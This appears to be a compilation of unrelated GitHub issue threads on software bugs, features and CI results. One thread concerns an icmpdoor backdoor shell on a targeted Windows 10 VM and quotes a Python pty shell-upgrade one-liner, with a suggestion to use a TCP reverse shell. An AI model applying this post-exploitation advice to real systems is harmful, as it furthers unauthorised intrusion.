[Feature Request] Add view of active frames with text

Is your feature request related to a problem? Please describe.
When I want to debug active frames with text, there is no possibility to test it.
Describe the solution you'd like
When you click button "More" there should be a buttons to test all the Bubbles with active frames(to test X and Y coordinates of Bubble).
Additional context
Solution above is only a suggestion, but it it could be also an dropdown list to choose Bubble for testing(considering the fact, that there could be more bubbles than can fit into interface).

Thank you for proposing such feature, it's indeed something that could be really great to add!
Please note that the project development is in hiatus right now as I have other important things to deal with first, but this is definitely a feature that I will take a look into when coming back to the project.


Tile layer may hang if maxZoom or minZoom are set to undefined

http://jsfiddle.net/LcjJC/1/
When there are no layers, map.getBoundsZoom() for zero-sized bounds returns 1015. After adding a tile layer, the map panel remains empty. In the jsfiddle it can be solved by zooming out, but in some cases zooming does not help, and sometimes leaflet even hangs and later crashes with an out of memory error (after calling map.fitBounds()).

Behaviour has been revamped, so closing this one.


Is it possible to use styled-components?

@gregberge  I was thinking, is this project possible to use like we use styled-components?
For example:
const List = styled.ul`
  display: inline-block;

  & > li > a {
    color: red;
  }
`;

Twc?
const List = twc.ul`
  inline-block

  & > li > a {
    text-red-500
  }
`;

Hi @mthmcalixto, no twc is not a CSS in JS library, it is a class component creator.


Julia 0.6 compatibility, efficiency is unknown

Tests pass on Julia 0.6, hope it means it actually works :)

tests fail on nightly because of external dependency (DSP), but pass on julia0.{3,4,5,6}

I am closing this as we live in Julia 1.8 nowadays.


[Bug]: can't use it as expected

What happened?

How to reproduce the bug
I don't know, after installing it, it can't work
Package Version
3.1
PHP Version
8.2
Laravel Version
11
Which operating systems does with happen with?
Linux
Notes
No response

Line 502 in Coolsam\FilamentFlatpickr\Forms\Components\Flatpickr, fix:
public function minDate(Carbon|string|null|Closure $minDate): static


Still no Opera support?

Currently there doesn't seem to be a way to use the opera chromium driver to test opera via selenium grid extras?
Manually adding opera into the configuration file causes grid extras to crash on startup with a null reference exception.
This is using grid extras 1.11.8 and opera 34.

I can try adding it manually and see where the error is. I would have thought that would work

Thanks Shawn
It may well be something I am doing wrong, so if it does work for you I would be grateful of any tips.
Regards
Nick
On Fri, Jan 29, 2016 at 8:58 AM -0800, "Shawn McCarthy"<EMAIL_ADDRESS>wrote:
I can try adding it manually and see where the error is. I would have thought that would work
—
Reply to this email directly or view it on GitHub.

any news on this?

1.11.8 is the latest version still at the moment. I've made no progress on this...

Hi @NickKitchen @mstankovic86 , how do you use Opera with selenium? Do you get the driver from https://github.com/operasoftware/operachromiumdriver/releases and use -Dwebdriver.opera.driver=/path/to/opera/driver ? Or is it -Dwebdriver.chrome.driver=/path/to/opera/driver ?
I ask because, if it is webdriver.chrome.driver , how do you use Chrome and Opera on the same node ?


exec-host output is not shown in console

Describe the bug
The output of an exec-host hook is not printed to the console.
To Reproduce
Add to config
hooks:
  post-start:
  - exec: "echo hi there && for item in 1 2 3 4 5; do echo $item: $(date); sleep 1; done"
  - exec-host: "echo host there && for item in 1 2 3 4 5; do echo $item: $(date); sleep 1; done"

(Re)start ddev project
Only the output of the "exec" command is show; the "exec-host" output is not shown:

Executing post-start hook...
=== Running task: Exec command 'echo hi there && for item in 1 2 3 4 5; do echo $item: $(date); sleep 1; done' in container/service 'web', output below
hi there
1: Mon Aug 24 13:23:03 UTC 2020
2: Mon Aug 24 13:23:04 UTC 2020
3: Mon Aug 24 13:23:05 UTC 2020
4: Mon Aug 24 13:23:06 UTC 2020
5: Mon Aug 24 13:23:07 UTC 2020
=== Running task: Exec command 'echo host there && for item in 1 2 3 4 5; do echo $item: $(date); sleep 1; done' on the host (xxx), output below
Restarted xxxx
Your project can be reached at xxxx

Expected behavior
Output for both commands should be visible in the console
Version and configuration information (please complete the following information):

Host computer OS and Version: macOS Catalina
Docker Desktop version if on macOS or Windows (from "About Docker Desktop")
ddev version: 1.15.3
config.yaml: see above
Do you have any custom configuration (nginx, php, mysql) in the .ddev folder? No

Additional context
It's probably an side-effect from #2214 #2335 where the output was changed to stream

I confirm this bug, thanks.


Plausible deniability

I got together in meatspace to talk about these ideas with an acquaintance of mine, @tjgillies, and one of the questions that came up was how to help protect against "tire iron" attacks. If we succeed, the cryptographic identities created with this system could prove very valuable. Re-verifying biometrics every time one wants to use one's cryptographic identity is not really an option. So a person could feasibly kidnap another person and break their kneecaps until they give up their private key. We had a couple ideas for allowing a degree of protection/deterrence from these sorts of attacks:

Allow for key expiration and provide a sane default in whatever software comes out of this project.
Allow for key reassignment at "induction" events by presenting n-of-m identity proofs.
Create an arbitrary/random-length chain of keys where each public key serves as the seed for deriving the private key portion of the next key pair in the chain. Users would use the last link in the chain as their cryptographic identity and then keep as many of the key pairs higher up in the chain as they wish as "higher" proofs of ownership for the lower keys. That way an attacker could never be sure if I'd given them the highest key pair or not. Using deadman switches and Shamir's Secret Sharing, you could even set up a system where you yourself don't even know your highest key, but only have a single piece of it and your compatriots have the rest.

A New Form of ID Allows You to Be a Citizen of the World
Instructions on how to create a BlockchainID
Video here:
http://youtu.be/1iAg6BITPdc
Github project:
https://github.com/MrChrisJ/World-Citizenship
I seriously advise the OCU-Organisation pour une Citoyenneté Universelle get on board with this project.
Join the
O U C - Organization for Universal Citizenship
Join us on facebook
http://www.facebook.com/worldcitizenfriends
Call to Action by:
http://www.facebook.com/citoyenneteuniverselle
Published by:
http://www.o-c-u.org/en/


ASCENDEX error

Describe the bug
// A clear and concise description of what the bug is:
Look the picture
Steps To Reproduce
// A concise description of the steps to reproduce the buggy behavior:
Just run the ascendex api
Here are the steps to reproduce the issue (see attachments in the section below):

Set up your configuration file with these parameters: ...
Start the bot using this command: ...
...

Screenshots
// If applicable, add screenshots to help explain your problem.
Release version
// Include your bot's version number (Can be found at the upper left corner of your CLI).
Attachments
// Please attach your config file and log file to help us debug. It would be difficult for us to help you without those!
WARNING: Do NOT publish any exchange API keys or your wallet's private key. Whoever has access to them may steal your assets!
Optional: your discord username:

Hey @9Karma9,
To solve this You could change the region on your AWS, since binance is no longer support US IPs and could show this error Service unavailable from a restricted location


feat(node): upgrade minimum version

BREAKING CHANGE: upgrade minimum version to 20

Current dependencies on/for this PR:

main

PR #36   👈

This stack of pull requests is managed by Graphite.


Add Sponsorblock Support

Add Sponsorblock Support
supports node events
can set sponsorblock categories using
await player.setSponsorBlock( ['sponsor', 'selfpromo', 'interaction', 'intro', 'outro', 'preview', 'music_offtopic', 'filler']);
Added player.deleteSponsorBlock(), player.getSponsorBlock()
if you are merging this kindly check rest request function couldn't find better way to fix the GUILD NOT FOUND 404 error
Thanks to Tomato6966 for his Lavalink-Client Repo

Before I try it on my side did you test it thoroughly?

I checked segment loaded, segment skipped events along with set sponsor
block and getsponsorblock functions
Couldn't check it thoroughly but it does work
On Tue, Sep 3, 2024, 2:35 AM SXM_ABEL @.***> wrote:

Before I try it on my side did you test it thoroughly?
—
Reply to this email directly, view it on GitHub
https://github.com/Magmastream-NPM/magmastream/pull/270#issuecomment-2325300608,
or unsubscribe
https://github.com/notifications/unsubscribe-auth/AESYC4N2LJLXQNMBHHUUQRDZUTHK5AVCNFSM6AAAAABNQ3YQHGVHI2DSMVQWIX3LMV43OSLTON2WKQ3PNVWWK3TUHMZDGMRVGMYDANRQHA
.
You are receiving this because you authored the thread.Message ID:
@.***>

I checked segment loaded, segment skipped events along with set sponsor block and getsponsorblock functions Couldn't check it thoroughly but it does work
…
On Tue, Sep 3, 2024, 2:35 AM SXM_ABEL @.> wrote: Before I try it on my side did you test it thoroughly? — Reply to this email directly, view it on GitHub <#270 (comment)>, or unsubscribe https://github.com/notifications/unsubscribe-auth/AESYC4N2LJLXQNMBHHUUQRDZUTHK5AVCNFSM6AAAAABNQ3YQHGVHI2DSMVQWIX3LMV43OSLTON2WKQ3PNVWWK3TUHMZDGMRVGMYDANRQHA . You are receiving this because you authored the thread.Message ID: @.>

Ok, did you edit the documentation for your new features?

Nop, except the commit message didn't add anything else as I wanted to keep
it private as I used someone else's work here, I opened this pull request
so you could implement it properly with the correct method.
On Tue, Sep 3, 2024, 3:19 AM SXM_ABEL @.***> wrote:

I checked segment loaded, segment skipped events along with set sponsor
block and getsponsorblock functions Couldn't check it thoroughly but it
does work
… <#m_4091018967047985087_>
On Tue, Sep 3, 2024, 2:35 AM SXM_ABEL @.> wrote: Before I try it on my
side did you test it thoroughly? — Reply to this email directly, view it on
GitHub <#270 (comment)
https://github.com/Magmastream-NPM/magmastream/pull/270#issuecomment-2325300608>,
or unsubscribe
https://github.com/notifications/unsubscribe-auth/AESYC4N2LJLXQNMBHHUUQRDZUTHK5AVCNFSM6AAAAABNQ3YQHGVHI2DSMVQWIX3LMV43OSLTON2WKQ3PNVWWK3TUHMZDGMRVGMYDANRQHA
https://github.com/notifications/unsubscribe-auth/AESYC4N2LJLXQNMBHHUUQRDZUTHK5AVCNFSM6AAAAABNQ3YQHGVHI2DSMVQWIX3LMV43OSLTON2WKQ3PNVWWK3TUHMZDGMRVGMYDANRQHA
. You are receiving this because you authored the thread.Message ID: @.>
Ok, did you edit the documentation for your new features?
—
Reply to this email directly, view it on GitHub
https://github.com/Magmastream-NPM/magmastream/pull/270#issuecomment-2325326103,
or unsubscribe
https://github.com/notifications/unsubscribe-auth/AESYC4OGK4P2OTCWSNMUZO3ZUTMMZAVCNFSM6AAAAABNQ3YQHGVHI2DSMVQWIX3LMV43OSLTON2WKQ3PNVWWK3TUHMZDGMRVGMZDMMJQGM
.
You are receiving this because you authored the thread.Message ID:
@.***>

Ok knowing that I will take a look at this and then implement my own way On Sep 2, 2024, at 6:04 PM, Harsh Preet @.***> wrote:
Nop, except the commit message didn't add anything else as I wanted to keep
it private as I used someone else's work here, I opened this pull request
so you could implement it properly with the correct method.
On Tue, Sep 3, 2024, 3:19 AM SXM_ABEL @.***> wrote:

I checked segment loaded, segment skipped events along with set sponsor

block and getsponsorblock functions Couldn't check it thoroughly but it

does work

… <#m_4091018967047985087_>

On Tue, Sep 3, 2024, 2:35 AM SXM_ABEL @.*> wrote: Before I try it on my

side did you test it thoroughly? — Reply to this email directly, view it on

GitHub <#270 (comment)

https://github.com/Magmastream-NPM/magmastream/pull/270#issuecomment-2325300608>,

or unsubscribe

https://github.com/notifications/unsubscribe-auth/AESYC4N2LJLXQNMBHHUUQRDZUTHK5AVCNFSM6AAAAABNQ3YQHGVHI2DSMVQWIX3LMV43OSLTON2WKQ3PNVWWK3TUHMZDGMRVGMYDANRQHA

https://github.com/notifications/unsubscribe-auth/AESYC4N2LJLXQNMBHHUUQRDZUTHK5AVCNFSM6AAAAABNQ3YQHGVHI2DSMVQWIX3LMV43OSLTON2WKQ3PNVWWK3TUHMZDGMRVGMYDANRQHA

. You are receiving this because you authored the thread.Message ID: @.*>

Ok, did you edit the documentation for your new features?

—

Reply to this email directly, view it on GitHub

https://github.com/Magmastream-NPM/magmastream/pull/270#issuecomment-2325326103,

or unsubscribe

https://github.com/notifications/unsubscribe-auth/AESYC4OGK4P2OTCWSNMUZO3ZUTMMZAVCNFSM6AAAAABNQ3YQHGVHI2DSMVQWIX3LMV43OSLTON2WKQ3PNVWWK3TUHMZDGMRVGMZDMMJQGM

.

You are receiving this because you authored the thread.Message ID:

@.***>

—Reply to this email directly, view it on GitHub, or unsubscribe.You are receiving this because you commented.Message ID: @.***>


fix UnitaryOverlap docstring tex

Summary
Currently renders incorrectly at
https://docs.quantum.ibm.com/api/qiskit/qiskit.circuit.library.UnitaryOverlap#unitaryoverlap

Details and comments

Pull Request Test Coverage Report for Build<PHONE_NUMBER>
Details

0 of 0   changed or added relevant lines in 0 files are covered.
12 unchanged lines in 3 files lost coverage.
Overall coverage decreased (-0.02%) to 89.43%

Files with Coverage Reduction
New Missed Lines
%

crates/qasm2/src/expr.rs
1
94.03%

crates/qasm2/src/lex.rs
5
91.6%

crates/qasm2/src/parse.rs
6
97.15%

Totals

Change from base Build<PHONE_NUMBER>:
-0.02%

Covered Lines:
60967

Relevant Lines:
68173

💛  - Coveralls


Bounds checking does not look right

Bounds checking condition in the file ListMultiSequenceMatcher.java(Line no:169) doesn't look good

Hi, no it doesn't - there's already a comment that it needs fixing!
None of the multi-sequence matchers or searchers are currently tested, but I do intend to do after the next release of byteseek, which should hopefully be fairly soon.  That will also mean looking at the automata classes as well.  When that's all done, the whole of byteseek as it currently stands should be in good shape.

If you want to submit a PR, I'll happily look at it :)


Cannot download thirdparty archives when build

Why are third-party package addresses always invalid？？？

@ykPrograWorld
This issue has been fixed, #914 ,
You can update code to master or cherry-pick #916 patch to fix it

@ykPrograWorld
This issue has been fixed, #914 ,
You can update code to master or cherry-pick #916 patch to fix it

The package I downloaded is from this website http://<IP_ADDRESS>/www.apache.org/dyn/closer.cgi/incubator/doris/0.9.0-incubating/apache-doris-0.9.0-incubating-src.tar.gz
Isn't this the latest package?
Have you solved the problem in your way anyway
Thanks

We have fixed this problem in master, and the new version has not been released.
So, if you want to fix it, you can patch #916 to our release code

We have fixed this problem in master, and the new version has not been released.
So, if you want to fix it, you can patch #916 to our release code

where is the release code?

We have fixed this problem in master, and the new version has not been released.
So, if you want to fix it, you can patch #916 to our release code

where is the release code?

the code you have downloaded.
http://<IP_ADDRESS>/www.apache.org/dyn/closer.cgi/incubator/doris/0.9.0-incubating/apache-doris-0.9.0-incubating-src.tar.gz

We have fixed this problem in master, and the new version has not been released.
So, if you want to fix it, you can patch #916 to our release code

where is the release code?

the code you have downloaded.
http://<IP_ADDRESS>/www.apache.org/dyn/closer.cgi/incubator/doris/0.9.0-incubating/apache-doris-0.9.0-incubating-src.tar.gz

I can only change my local package, there is no way to change package on the web site.

We have fixed this problem in master, and the new version has not been released.
So, if you want to fix it, you can patch #916 to our release code

where is the release code?

the code you have downloaded.
http://<IP_ADDRESS>/www.apache.org/dyn/closer.cgi/incubator/doris/0.9.0-incubating/apache-doris-0.9.0-incubating-src.tar.gz

I can only change my local package, there is no way to change package on the web site.

Yes, change your local package,
modify thirdparty/vars.sh file
change
LIBEVENT_DOWNLOAD="http://palo-opensource.gz.bcebos.com/libevent-20180622-24236aed01798303745470e6c498bf606e88724a.zip?authorization=bce-auth-v1%2F069fc2786e464e63a5f1183824ddb522%2F2018-06-22T02%3A37%3A48Z%2F-1%2Fhost%2F031b0cc42ab83ca4e0ec3608cba963e95c1ddc46fc70a14457323e2d7960e6ef"

to
LIBEVENT_DOWNLOAD="https://doris-incubating-repo.bj.bcebos.com/thirdparty/libevent-20180622-24236aed01798303745470e6c498bf606e88724a.zip"

We have fixed this problem in master, and the new version has not been released.
So, if you want to fix it, you can patch #916 to our release code

where is the release code?

the code you have downloaded.
http://<IP_ADDRESS>/www.apache.org/dyn/closer.cgi/incubator/doris/0.9.0-incubating/apache-doris-0.9.0-incubating-src.tar.gz

I can only change my local package, there is no way to change package on the web site.

Yes, change your local package,
modify thirdparty/vars.sh file
change
LIBEVENT_DOWNLOAD="http://palo-opensource.gz.bcebos.com/libevent-20180622-24236aed01798303745470e6c498bf606e88724a.zip?authorization=bce-auth-v1%2F069fc2786e464e63a5f1183824ddb522%2F2018-06-22T02%3A37%3A48Z%2F-1%2Fhost%2F031b0cc42ab83ca4e0ec3608cba963e95c1ddc46fc70a14457323e2d7960e6ef"

to
LIBEVENT_DOWNLOAD="https://doris-incubating-repo.bj.bcebos.com/thirdparty/libevent-20180622-24236aed01798303745470e6c498bf606e88724a.zip"

I've done that and my problem have been solved
Thanks


Basic shell with icmpdoor

I want to get rid of this shell with basics commands and use something better. The VM targetted is Windows 10.
What should I use?

Please clarify what the exact issue is and define "something better". Please use a TCP reverse shell instead for a more stable and verbose connection.

Sorry.
I mean, the shell left me with some pretty basics command. Right?
How to change the  shell? I have used "python -c 'import pty; pty.spawn("/bin/bash")' " in the past but this doesn't work with icmpdoor.
Does https://github.com/ptunnel-win/ptunnel?search=1 would help me?

Hey sorry
I didn't saw all the commands available with HELP.
I figured it out in the end.


Implement Admin Dimensions API

Mastodon's Admin Dimensions API allows an admin to obtain qualitative metrics about the server. The goal of this task is to implement the following endpoints of this API in BigBone:

Get dimensional data

The Admin Dimensions API as it is documented by Mastodon can be found here:
https://docs.joinmastodon.org/methods/admin/dimensions/
Tip: A lot of other endpoints similar to this have already been implemented. In order to get an idea how to implement this, I suggest that you study the code upfront. Start with one of the *Methods.kt files.
Please consult the following documents to make sure your contribution meets our projects criteria:

Code of Conduct
Code Contribution Guidelines

It probably makes sense to wait for #333 to be reviewed and merged. I have made some decisions there that will likely influence the style of this issue here as well, such as:

admin package
sealed class approach for required parameters
Key enum class with apiName override


App is getting crashed in Android

Hili
I am using this web-view model in my app but sometimes in android the app is getting crashed
used  androidLayerType="hardware". but it did not worked
Can u please suggest me any solution

Give Styles to webview like specific height and width


Updated Az commands to support ADF V2

Description
Updated Az commands to support ADF V2, and address Feedback 37888.

Checklist

[X] This pull request was tested on both of:

[X] PowerShell 5.1 (Windows)
[X] PowerShell 6.x (Latest PowerShell)

[X] Scripts do not contain static passwords or other secret tokens.
[X] All Azure resource identifiers which must be universally unique are guaranteed to be so.

Testing information

Platform:
Powershell version: $PSVersionTable.PSVersion
Az version: (Get-InstalledModule -Name Az).Version

#sign-off

#sign-off


use npm for installation

Other than this package having nothing to do with Node, I'm all for this. Will work on getting this live soon.

Done! Install via npm install -g pyvm. :smile:


[LIBP2P] Direct messages need to have a bounded number of retries

As far as I can tell this is the behavior in the code.  It's a bit indirect but when a query fails we put it into the queue to retry, then when it's back-off expires we pull it out of the queue, decrement it's retry count, and if it's 0 we don't send it and drop the query.


Detached mode for slate

No special block behavior, according to "detached" specification

Cypress:
https://user-images.githubusercontent.com/323385/121767489-0c168200-cb61-11eb-8e64-bf348e89b19c.mp4


Operator-sdk new action does not support "kind" flag

The Operator new action help indicates that we can specify the kind flag during project creation
operator-sdk  new --help

The operator-sdk new command creates a new operator application and
generates a default directory layout based on the input .
 is the project name of the new operator. (e.g app-operator)
For example:
$ mkdir $GOPATH/src/github.com/example.com/
$ cd $GOPATH/src/github.com/example.com/
$ operator-sdk new app-operator
generates a skeletal app-operator application in $GOPATH/src/github.com/example.com/app-operator.
Usage:
operator-sdk new  [flags]
Flags:
--api-version string   Kubernetes apiVersion and has a format of $GROUP_NAME/$VERSION (e.g app.example.com/v1alpha1)
--cluster-scoped       Generate cluster-scoped resources instead of namespace-scoped
--generate-playbook    Generate a playbook skeleton. (Only used for --type ansible)
-h, --help                 help for new
--kind string          Kubernetes CustomResourceDefintion kind. (e.g AppService)
--skip-git-init        Do not init the directory as a git repository
--type string          Type of operator to initialize (e.g "ansible") (default "go")

However when the kind flag is used I get the following error

FATA[0000] go type operator does not use --api-version or --kind. Please see "operator-sdk add" command after running new.

@aaronmcohen The --api-version and --kind flags are only supported for the ansible and helm type projects.
https://github.com/operator-framework/operator-sdk/blob/master/doc/ansible/user-guide.md#create-a-new-project
https://github.com/operator-framework/operator-sdk/blob/master/doc/helm/user-guide.md#create-a-new-project
I purposefully didn't support it for the default Go type operator project because I wanted new users to explicitly go through the step of add api --kind=<kind> --version=<version> to understand what gets scaffolded for defining a new API.
https://github.com/operator-framework/operator-sdk/blob/master/doc/user-guide.md#add-a-new-custom-resource-definition
@shawn-hurley I know you've mentioned unifying the experience before for all 3 cmds and support it for the Go operator as well. Or we could clarify that those two flags are only for the non-go project type.

Thank you for the quick response. My vote is to simply clarify that those two flags are only for the non-go project type.


DOCS Remove duped content

A big block of almost identical content appeared in two places. Better to have it in one place only so they don't get out of sync.

This seems logical to me. Any objections?


Regex is not working with cache layer

Regex is not working while trying to cache them using cacheQuery method. This could be due to reason that regex expressions cannot be stringified.
Originally posted by @arqo123 in https://github.com/arqo123/speedgoose/issues/76#issuecomment-1985265845

Thx for the bug , fixed in  https://github.com/arqo123/speedgoose/tree/77-regex-is-not-working-with-cache-layer


WIP: Support flowdock, team-based routing, small fixes

Hey,
This is a bit of a huge PR so I understand if you don't want it :)
It might be of use to you still, so any comments welcome, or just take any bits you are interested in.
Essentially it:

Adds a yaml configuration file to support multiple notification methods (I call them receivers)
Adds 3 new annotations

kube-lookout/enabled: Only notify if True
kube-lookout/team: Maps to a 'team', which is essentially a channel/token combination
kube-lookout/receiver: Maps to a receiver (flowdock/slack)

Deal with the case where no pods come up (should go into degradation state)
Readme updates
Update example manifests so that credentials are handled in a Secret resource type
Default to a kube-lookout namespace (I'm not sure it's very common to populate kube-system by default)
Move to pipenv and bump latest packages (because I couldn't get pinned packages to work)
Move to deb-slim (just a personal preference here as we tend to run into issues with python/alpine in the past).

I still need to add tests for flowdock.

Haha yeah no worries

The build doesnt pass :(

I'll take a look at that :)

The build doesnt pass :(

Perhaps need to update .travis.yml with:
install:
  - 'pip install pipenv'
  - 'pipenv install'

I think these changes are too big for a PR at the moment.
I'll close this and think about creating a smaller set of PR's.


⚠ Bofrost.at has degraded performance

In 978bd6b, Bofrost.at (https://www.bofrost.at) experienced degraded performance:

HTTP code: 200
Response time: 1098 ms

Resolved: Bofrost.at performance has improved in 740164f after 6 minutes.


TS-4952: Improve abort messages for mutex failures.

Although the ink_mutex APIs claimed to return error values, they actually
abort on failure. Improve the abort to format a message that includes
the error, and don't bother to return error values any more since these
can't fail.

Linux build failed! See https://ci.trafficserver.apache.org/job/Github-Linux/852/ for details.

FreeBSD build failed! See https://ci.trafficserver.apache.org/job/Github-FreeBSD/960/ for details.

FreeBSD build failed! See https://ci.trafficserver.apache.org/job/Github-FreeBSD/962/ for details.

Linux build successful! See https://ci.trafficserver.apache.org/job/Github-Linux/854/ for details.

[approve ci]

FreeBSD build failed! See https://ci.trafficserver.apache.org/job/Github-FreeBSD/965/ for details.

Linux build successful! See https://ci.trafficserver.apache.org/job/Github-Linux/857/ for details.

FreeBSD fails with
FATAL: pthread_mutex_unlock(0x8057fcf90) failed: Operation not permitted (1)

The backtrace is:
(gdb) where
#0  0x0000000802f0035a in thr_kill () from /lib/libc.so.7
#1  0x0000000802f00346 in raise () from /lib/libc.so.7
#2  0x0000000802f00316 in abort () from /lib/libc.so.7
#3  0x0000000800bfbc8d in ink_abort (message_format=<value optimized out>)
    at ../../../lib/ts/ink_error.cc:79
#4  0x00000000006f0502 in ~Thread (this=0x80717e000) at ../../../iocore/eventsystem/Thread.cc:52
#5  0x00000000004d738e in ~INKThreadInternal (this=0x80717e000) at ../../proxy/InkIOCoreAPI.cc:97
#6  0x00000000004d5b56 in ink_thread_trampoline (data=<value optimized out>)
    at ../../proxy/InkIOCoreAPI.cc:112
#7  0x000000080253a855 in pthread_create () from /lib/libthr.so.3
#8  0x0000000000000000 in ?? ()

The unlock is failing with EPERM because we do't hold the lock at this point.

FreeBSD build failed! See https://ci.trafficserver.apache.org/job/Github-FreeBSD/972/ for details.

Linux build successful! See https://ci.trafficserver.apache.org/job/Github-Linux/864/ for details.

@jpeach you planning on doing any more with this?

FreeBSD build failed! See https://ci.trafficserver.apache.org/job/Github-FreeBSD/1180/ for details.

Linux build successful! See https://ci.trafficserver.apache.org/job/Github-Linux/1073/ for details.

[approve ci]

AU check successful! https://ci.trafficserver.apache.org/job/autest-github/227/

clang format successful! https://ci.trafficserver.apache.org/job/clang-format-github/232/

RAT check failed! https://ci.trafficserver.apache.org/job/RAT-github/246/

Linux build successful! https://ci.trafficserver.apache.org/job/linux-github/1818/

FreeBSD11 build failed! https://ci.trafficserver.apache.org/job/freebsd-github/1927/

Intel CC build failed! https://ci.trafficserver.apache.org/job/icc-github/357/

clang-analyzer build failed! https://ci.trafficserver.apache.org/job/clang-analyzer-github/490/

@jpeach Should we land this??

clang format successful! https://ci.trafficserver.apache.org/job/clang-format-github/327/

RAT check successful! https://ci.trafficserver.apache.org/job/RAT-github/340/

AU check successful! https://ci.trafficserver.apache.org/job/autest-github/324/

Linux build successful! https://ci.trafficserver.apache.org/job/linux-github/1915/

FreeBSD11 build failed! https://ci.trafficserver.apache.org/job/freebsd-github/2022/

Intel CC build successful! https://ci.trafficserver.apache.org/job/icc-github/453/

clang-analyzer build failed! https://ci.trafficserver.apache.org/job/clang-analyzer-github/586/

RAT check successful! https://ci.trafficserver.apache.org/job/RAT-github/368/

clang format successful! https://ci.trafficserver.apache.org/job/clang-format-github/356/

AU check successful! https://ci.trafficserver.apache.org/job/autest-github/353/

Linux build successful! https://ci.trafficserver.apache.org/job/linux-github/1944/

FreeBSD11 build successful! https://ci.trafficserver.apache.org/job/freebsd-github/2051/

Intel CC build successful! https://ci.trafficserver.apache.org/job/icc-github/482/

clang-analyzer build successful! https://ci.trafficserver.apache.org/job/clang-analyzer-github/615/

@zwoop yes

clang format successful! https://ci.trafficserver.apache.org/job/clang-format-github/362/

RAT check successful! https://ci.trafficserver.apache.org/job/RAT-github/374/

AU check successful! https://ci.trafficserver.apache.org/job/autest-github/358/

FreeBSD11 build successful! https://ci.trafficserver.apache.org/job/freebsd-github/2057/

Linux build successful! https://ci.trafficserver.apache.org/job/linux-github/1949/

Intel CC build successful! https://ci.trafficserver.apache.org/job/icc-github/487/

clang-analyzer build successful! https://ci.trafficserver.apache.org/job/clang-analyzer-github/620/

RAT check successful! https://ci.trafficserver.apache.org/job/RAT-github/417/

clang format successful! https://ci.trafficserver.apache.org/job/clang-format-github/406/

AU check successful! https://ci.trafficserver.apache.org/job/autest-github/402/

Linux build successful! https://ci.trafficserver.apache.org/job/linux-github/1994/

FreeBSD11 build successful! https://ci.trafficserver.apache.org/job/freebsd-github/2100/

Intel CC build successful! https://ci.trafficserver.apache.org/job/icc-github/529/

clang-analyzer build successful! https://ci.trafficserver.apache.org/job/clang-analyzer-github/662/


Minimize clim-recal-test server configuration/cost

As per the chat earlier today @gmingas: reminding myself to scale down that box as per your instruction.

Hi @gmingas and @BZ-BowenZhang. I've scaled clim-recal-test down to D4ls_v5 config:

4 CPUs
8 GBs RAM
£0.16 per hour

@gmingas is that amenable? Feel free to tweak.

Sounds good, thanks!


ready for production ?

I am evaluating D3 component libraries for an internal monitoring dashboard project, C3 seems most intuitively aligned with my brain.
Is it ready for prime-time ?

@crudbug We use it here at The Times and Sunday Times in production pretty extensively, including within our tablet app. There are definitely things you can do to make it leak memory (Calling c3.generate() to load in new data instead of using chart.load() is a big one), but on a whole it's pretty stable.

@aendrew Thanks
I have designed the dashboard, I went ahead with C3.


twisted: errors that are old-style classes do not work with Failure in callbacks

Hi!

Python 2.7.12
pysnmp (4.3.2)
Twisted (16.4.1)

First, Thanks for all your excellent work on pySNMP 👍
There seems to be a problem with running pySNMP with Twisted with respect to catching exceptions.
On this line pysnmp/hlapi/twisted/cmdgen.py:468, the code looks like this:
    def __cbFun(snmpEngine, sendRequestHandle,
                errorIndication, errorStatus, errorIndex,
                varBindTable, cbCtx):
        lookupMib, deferred = cbCtx
        if errorIndication:
            deferred.errback(Failure(errorIndication))   # <<===  Here
        else:
            deferred.callback(
                (errorStatus, errorIndex,
                 [vbProcessor.unmakeVarBinds(snmpEngine, varBindTableRow, lookupMib) for varBindTableRow in varBindTable])
            )

At the section marked, imagine that the errorIndication is a requestTimedOut error.  If we now jump to pysnmp/proto/errind.py:70, we see where that object is defined:
class RequestTimedOut(ErrorIndication):
    pass

requestTimedOut = RequestTimedOut('No SNMP response received before timeout')

The RequestTimedOut class inherits from ErrorIndication which is created at the top of errind.py:
class ErrorIndication:
    """SNMPv3 error-indication values"""
    def __init__(self, descr=None):
        self.__value = self.__descr = self.__class__.__name__[0].lower() + self.__class__.__name__[1:]
        if descr:
            self.__descr = descr

    <snip>

So ErrorIndication is an old-style class.  The problem with this is that the twisted errback system won't work with old-style classes.  In my outer error handlers, the Failure value is given as a TypeError, not RequestTimedOut:
exceptions.TypeError: exceptions must be classes, or instances, not type

I have experimented with monkeypatching errind.py using this code in my main module:
# Monkeypatch pysnmp
import pysnmp.proto.errind as errind

class RequestTimedOut(Exception):
    pass

errind.RequestTimedOut = RequestTimedOut
errind.requestTimedOut = RequestTimedOut(
    'No SNMP response received before timeout'
)

<main function follows>

This appears to resolve the problem, and I am able to catch RequestTimedOut as a normal exception in my calling code.
The twisted documentation for the Failure class is linked here:
https://twistedmatrix.com/documents/current/api/twisted.python.failure.Failure.html#__init__
It mentions that it wants an Exception instance (or descendant we presume) to be passed to the Failure constructor, which is of course not what is currently being passed.
My proposal would be to make the ErrorIndication class (in errind.py) a new-style class by inheriting from Exception, but I am completely new to the pysnmp code base, and I don't know what that would break.
It is possible that I have missed some important detail, and if so, I apologise for wasting your time! Thanks again for all your work on pySNMP!

Thank you for your report!
Is it a new-style class that is required by Twisted or errback needs Exception instance? Current pysnmp master has all classes reworked into new-style ones. Does that fix the issue you experience?
If not, would it help to make pysnmp passing Exception(errorIndication) to Twisted errback?
I'm a bit reluctant to base ErrorIndication on Exception because errorIndication is not necessarily raised, sometimes it is dealt with as just a container object.

Thanks for looking into this.
It's great to hear about the changes in master.  I did not check that yet.  You also make a good point about "new style"  vs "Exception" instances.  Re-reading the twisted docs, it sounds like Failure really does want to wrap an exception instance, not just any old object.
But, let me first try it on trunk and see what happens 👍

I have upgraded to the new version (4.3.3).  I see that the error objects in pysnmp now are based on new-style classes, but alas, I think twisted wants raised things to be actual exceptions (i.e., ultimately inherited from Exception) in order to wrap them in Failure instances.  I regret referring to "old-style classes" in my initial description of the issue, as I think that was misleading of me and I apologise :)
Therefore, in my code I am still monkey-patching the pysnmp error classes to inherit from Exception.  If I get a chance, I'll try to make a working example to demonstrate the issue.  I should have done this right from the start.

No worries, migration to new-style classes and general code update is a good thing anyway! ;-)
May be we could intercept the non-Exception based exceptions at the pysnmp's Twisted adaptation code and re-raise them wrapped properly?
I reproducer would be very handy, if you could come up with one! ;-)
Thank you!


Removing alias tests for now

Do the original tests pass when you remove the aliasing tests?

Again, the issue is how we test commands. We don't correctly construct them, and the aliasing is broken. I've created a task on myself to fix this.

I've kicked off a test run for the changes. Looks good now.

